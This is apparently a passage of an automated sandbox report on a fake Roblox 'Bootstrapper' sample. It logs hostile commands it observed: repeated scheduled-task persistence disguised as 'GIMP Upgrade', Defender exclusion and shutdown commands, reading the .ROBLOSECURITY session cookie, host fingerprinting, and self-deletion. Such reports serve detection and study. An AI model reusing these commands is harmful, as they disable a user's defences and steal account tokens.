    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:3256
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1476
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1652
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2664
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:708
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4724
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4332
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:5032
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:840
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:5100
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:3076
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4564
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1604
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2612
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4772
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4960
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5012
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:768
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /k timeout 5 > NUL && "C:\Users\Admin\Downloads\BootstrapperNew.exe"
  2⤵
  PID:4288
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    - Loads dropped DLL
    - Delays execution with timeout.exe
    - Suspicious behavior: EnumeratesProcesses
    PID:2868
- - C:\Users\Admin\Downloads\BootstrapperNew.exe
    "C:\Users\Admin\Downloads\BootstrapperNew.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4260
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:4912
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4964
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3832
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:952
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:412
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        
        PID:3548
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3700
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3176
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:2428
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4672
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3076
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        
        PID:2552
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:4436
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        
        PID:3132
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:1240
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4448
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:2516
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2544
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3264
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5068
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:924
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        
        PID:1032
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3504
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        
        PID:952
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:4976
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2552
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:2804
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4256
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3132
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:720
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:4960
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2992
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:1268
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2704
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:2476
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3020
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:2512
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3228
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3032
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4972
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:1240
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:188
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:2680
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4640
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3048
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2768
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3352
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        
        PID:3184
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3504
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5016
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
      4⤵
      PID:3124
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2992
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3932
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5036

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:5032

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4124

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
PID:2552

C:\Users\Admin\Downloads\BootstrapperNew.exe
"C:\Users\Admin\Downloads\BootstrapperNew.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Drops file in Program Files directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1888
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4712
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5000
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3832
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\tyg5edla.pid.exe"' & exit
  2⤵
  PID:3680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\tyg5edla.pid.exe"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3500
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\tyg5edla.pid.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\tyg5edla.pid.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2372
    - - C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\tyg5edla.pid.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2780
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\tyg5edla.pid.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4436
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:412
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4884
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        5⤵
        
        PID:2876
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        
        PID:4712
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1476
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2272
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\tyg5edla.pid.exe" && pause
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4332
      - C:\Windows\system32\PING.EXE
        
        ping localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3588
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4964
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3048
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4592
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4392
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1872
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:3792
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2072
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5040
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:748
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1776
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1136
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2796
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2024
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:4532
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1004
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4964
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2340
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:4624
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3868
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:2692
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:460
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:720
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2216
- - C:\Windows\system32\schtasks.exe
